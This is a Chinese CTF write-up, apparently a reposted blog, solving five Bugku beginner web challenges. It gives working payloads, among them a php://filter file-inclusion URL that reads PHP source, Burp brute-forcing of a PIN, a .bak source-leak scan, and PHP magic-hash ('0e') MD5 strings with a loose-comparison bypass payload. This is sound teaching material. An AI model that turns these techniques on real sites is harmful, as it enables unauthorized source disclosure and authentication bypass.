【CTF web入门第五篇】bugku的web入门题

  • A+
所属分类:逆向工程

bugku-ctf 第一题:web4 (看看源代码吧)

 

【CTF web入门第五篇】bugku的web入门题

访问题目中链接

【CTF web入门第五篇】bugku的web入门题

随便输入 111 点击Submit

【CTF web入门第五篇】bugku的web入门题

听他的,看看源代码吧

【CTF web入门第五篇】bugku的web入门题

那么明显的两行

【CTF web入门第五篇】bugku的web入门题

 进行 unescape解密,得到

function checkSubmit(){vara=document.getElementById("password");if("undefined"!=typeofa){if("67d709b2b

 
aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

 

解码出来的东西,你可能还是看不懂,那我们在回到源码中,源码中有这么一句:eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));这句代码的含义是:p1串的编码+‘%35%34%61%61%32’的编码+p2串的编码。这是一个拼接的字符串,解码之后,拼接完成,回到网页中提交,网页直接爆出了flag。

 

67d709b2b 54aa2  aa648cf6e87a7114f1

拼接完成,回到网页中提交,网页直接爆出了flag:67d709b2b54aa2aa648cf6e87a7114f1

【CTF web入门第五篇】bugku的web入门题

KEY{J22JK-HS11}

 

bugku-ctf 第二题:flag在index里

【CTF web入门第五篇】bugku的web入门题

访问链接

【CTF web入门第五篇】bugku的web入门题

点击后

【CTF web入门第五篇】bugku的web入门题

注意到url地址 http://120.24.86.145:8005/post/index.php?file=show.php

 

这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)。

 

这里用到了php的封装协议:http://php.net/manual/zh/wrappers.php.php

 

具体怎么用呢,先说结果:

 

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

【CTF web入门第五篇】bugku的web入门题

然后将得到的字符串base64解码得到index的源码:

<html>

   <title>Bugku-ctf</title>

<?php

         error_reporting(0);

         if(!$_GET

){echo'<a href="./index.php?file=show.php">click me? no</a>';}

         $file=$_GET['file'];

         if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){

                   echo "Ohno!";

                   exit();

         }

         include($file);

//flag:flag{edulcni_elif_lacol_si_siht}

?>

</html>

得到flag:flag{edulcni_elif_lacol_si_siht}


现在具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义

 

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

 

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

 

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

 

如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

 

 

我们再看一下源码中 存在对 ../ tp data input 的过滤,其实这都是php://协议中的其他方法,都可以结合文件包含漏洞执行,具体可以百度一下。


bugku-ctf 第三题:输入密码查看flag

http://123.206.87.240:8002/baopo/

【CTF web入门第五篇】bugku的web入门题

【CTF web入门第五篇】bugku的web入门题

【CTF web入门第五篇】bugku的web入门题

输入密码提示不正确,5位数,那就burp暴力破解 

【CTF web入门第五篇】bugku的web入门题

paobo 很明显的提示

burpsuite爆破截图没留,直接爆破出的答案是13579

输入后得出flag

【CTF web入门第五篇】bugku的web入门题

flag{bugku-baopo-hah}

 

bugku-ctf 第四题:点击一万次

题目如下:

【CTF web入门第五篇】bugku的web入门题

【CTF web入门第五篇】bugku的web入门题

每次点击goal的分子会改变,右键查看源代码
主要查看js部分

【CTF web入门第五篇】bugku的web入门题

抓包看一下,其实每次点击只是修改了click的值,并没有跳到新的网页
将头部get修改为post,加上click参数发过去

【CTF web入门第五篇】bugku的web入门题

【CTF web入门第五篇】bugku的web入门题

flag{Not_C00kl3Cl1ck3r}



bugku-ctf 第五题:备份是个好习惯

【CTF web入门第五篇】bugku的web入门题

【CTF web入门第五篇】bugku的web入门题

通过提示 关键词 ’备份‘ 可以联想到 →  备份文件

备份文件一般都是.bak结尾的

用工具扫一下

这里推荐大佬的工具  yihangwang/SourceLeakHacker

【CTF web入门第五篇】bugku的web入门题

可以看到index.php.bak

访问一下试试

【CTF web入门第五篇】bugku的web入门题

有一个bak备份文件 ,不多解释了,下载后打开

【CTF web入门第五篇】bugku的web入门题

【CTF web入门第五篇】bugku的web入门题

11行  strstr 获得URI从'?'往后(包括'?')的字符串         stristr 同strstr用法一样,不区分大小写

12行  substr 去掉'?'

13行  str_replace 把字符串中的'key'替换为空可以使用类似这样的语句:kkeyey 处理

14行  parse_str 把字符串解析到变量中

 

end 最后需要得到key1,key2不相等而二者md5相等,可以利用php弱类型比较绕过


    php弱类

      https://www.cnblogs.com/Mrsm1th/p/6745532.html

https://cloud.tencent.com/developer/article/1046701


这里稍微提一下php弱类#

首先,我们一般说php变量类型8种

标量类型:布尔boolean,整形integer,浮点float,字符string

复杂类型:数组array,对象object

特殊类型:资源resource,空null

 

与别的语言不同,php是一个弱类型的语言

==表示的是等于 ,只要数值等于就可以了,类型无所谓的

就是说上面列举的那些类型 之间相互比较  只看值就行了 不用看类型

 

php弱类型语言总的类型判断#

php一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。

PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。

 

那么回过头来看题目(-_-)

这一题需要构造的是 $key1 == $key2#

构造的要求是md5值相同,但未计算md5的值不同的绕过。

那我们就来构造 O(∩_∩)O

 

介绍一批md5开头是0e的字符串,

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,

0的多少次方还是0。md5('240610708') == md5('QNKCDZO')成功绕过!

 

QNKCDZO

0e830400451993494058024219903391

 

s878926199a

0e545993274517709034328855841020

 

s155964671a

0e342768416822451524974117254469

 

s214587387a

0e848240448830537924465865611904

 

s214587387a

0e848240448830537924465865611904

 

s878926199a

0e545993274517709034328855841020

 

s1091221200a

0e940624217856561557816327384675

 

s1885207154a

0e509367213418206700842008763514

 

构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708

 

页面得到Bugku{OH_YOU_FIND_MY_MOMY}

 

 


本文始发于微信公众号(LemonSec):【CTF web入门第五篇】bugku的web入门题

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: